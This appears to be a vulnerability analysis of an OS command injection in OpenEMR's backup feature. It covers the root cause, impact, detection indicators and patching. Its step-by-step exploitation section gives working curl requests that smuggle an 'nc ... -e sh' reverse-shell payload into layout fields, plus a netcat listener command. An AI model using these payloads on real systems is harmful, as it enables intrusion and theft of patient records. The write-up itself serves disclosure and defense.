CVE-2026-32238: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-32238 is an OS command injection vulnerability in OpenEMR's backup functionality that allows authenticated attackers with administrative privileges to execute arbitrary OS commands on the underlying server. It affects all OpenEMR versions prior to 8.0.0.2 and was disclosed on March 19, 2026, via a GitHub Security Advisory. The vulnerability carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory, Feedly).

The root cause (CWE-78: Improper Neutralization of Special Elements used in an OS Command) lies in interface/main/backup.php, where user-supplied values from POST parameters (form_sel_lists[] and form_sel_layouts[]) are SQL-escaped but not shell-escaped before being concatenated into OS shell commands. The code verifies that the supplied IDs exist in the database (tables list_options, layout_options, or layout_group_properties) and checks for backtick characters, but this validation is insufficient — an attacker can pre-store a malicious payload (e.g., LBF"';nc 172.18.0.1 21 -e sh #) directly into the grp_form_id or related columns, then trigger the backup functionality to execute it. The vulnerable lines include backup.php lines 775, 776, 784, 786, 788, 789, 816, 818, 822, 824, 828, 831, 835, and 838. A public PoC exploit using curl commands is available on GitHub (GitHub Advisory, PoC GitHub).

Successful exploitation grants the attacker remote code execution with the privileges of the OpenEMR web application process (e.g., uid=1000(apache)), resulting in full compromise of confidentiality, integrity, and availability of the affected system. An attacker can read or exfiltrate sensitive electronic health records (EHR) and patient data, modify or destroy application data, and potentially pivot to other systems on the network. The CVSS scope is marked as "Changed," indicating that the impact extends beyond the vulnerable component itself (GitHub Advisory).

Multiple public proof-of-concept exploits are available on GitHub, including a PHP-based exploit repository with concrete curl commands demonstrating the full attack chain (PoC GitHub). The vulnerability also appeared on Sploitus (PacketStorm ID: 217438 and 219177), indicating broad availability of exploit code. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.41%, and the vulnerability is not currently listed in the CISA KEV catalog (Feedly).

1. Authenticate as an administrator: Obtain valid administrative credentials for the target OpenEMR instance (requires admin > super ACL). Authenticate and capture the session cookie (e.g., OpenEMR=<session_id>) and a valid CSRF token.

2. Store the malicious payload in the database: Send a crafted POST request to /interface/super/edit_layout.php to create a new layout group with a payload in the layout_id parameter. The payload LBF"';nc <attacker_ip> <port> -e sh # (URL-encoded as LBF%22%27%3Bnc%20<attacker_ip>%20<port>%20-e%20sh%20%23) is stored in the layout_group_properties.grp_form_id column:

curl -k -b "OpenEMR=<session>" --data 'csrf_token_form=<token>&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://<target>/interface/super/edit_layout.php'

3. Set up a listener: On the attacker machine, start a netcat listener on the chosen port:

nc -lvnp 21

4. Trigger the backup functionality: Send a POST request to /interface/main/backup.php with form_step=102 and the malicious payload in form_sel_layouts[]. The backup code retrieves the stored payload from the database, passes it unsanitized into a shell command, and executes it:

curl -k -b "OpenEMR=<session>" --data 'csrf_token_form=<token>&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://<target>/interface/main/backup.php'

5. Receive the reverse shell: The injected nc command connects back to the attacker's listener, providing an interactive shell running as the apache user (uid=1000(apache)) (GitHub Advisory, PoC GitHub).

• Network: Unexpected outbound TCP connections from the OpenEMR web server to external or internal IPs on unusual ports (e.g., port 21 used as a reverse shell port); connections initiated by the apache or www-data process to non-standard destinations.
• Logs: Web server access logs showing POST requests to /interface/super/edit_layout.php with encoded shell metacharacters (%22, %27, %3B, %23) in the layout_id parameter; POST requests to /interface/main/backup.php with form_step=102 and suspicious form_sel_layouts[] values containing encoded shell commands.
• Database: Entries in layout_group_properties.grp_form_id or list_options.list_id/option_id containing shell metacharacters such as ", ', ;, #, or command strings like nc, bash, curl, or wget.
• Process: Unusual child processes spawned by the PHP/Apache process, such as nc, bash, sh, curl, or wget; processes running as apache or www-data with network connections to external hosts.
• File System: Unexpected files written to /tmp/ (e.g., openemr_config.sql with anomalous content); new scripts, web shells, or cron jobs created in the OpenEMR installation directory (GitHub Advisory).

Upgrade OpenEMR to version 8.0.0.2 or later, which introduces proper shell escaping functions ($escapeShellSingleQuotes for Linux and $escapeForWindowsCmd for Windows) applied to all user-supplied values before they are embedded in OS commands in backup.php (Patch Commit). As a temporary workaround, restrict access to the backup functionality (/interface/main/backup.php) to only trusted administrators via network-level controls or web server ACLs, and implement network segmentation to limit the OpenEMR server's outbound connectivity. Audit the layout_group_properties.grp_form_id, layout_options.form_id, list_options.list_id, and list_options.option_id database columns for any entries containing shell metacharacters (GitHub Advisory).

The Hacker Wire published a dedicated technical write-up on the vulnerability shortly after disclosure (The Hacker Wire). The vulnerability was discovered and reported by researcher Christophe SUBLET from Esisar as part of the CyberSkills/Orion project, and the fix was developed by Michael A. Smith of OpenCoreEMR Inc. The advisory was also indexed by ENISA's EUVD (EUVD-2026-13158) and tracked by multiple vulnerability aggregators including VulDB, CIRCL, and INCIBE-CERT, reflecting broad community awareness of the issue.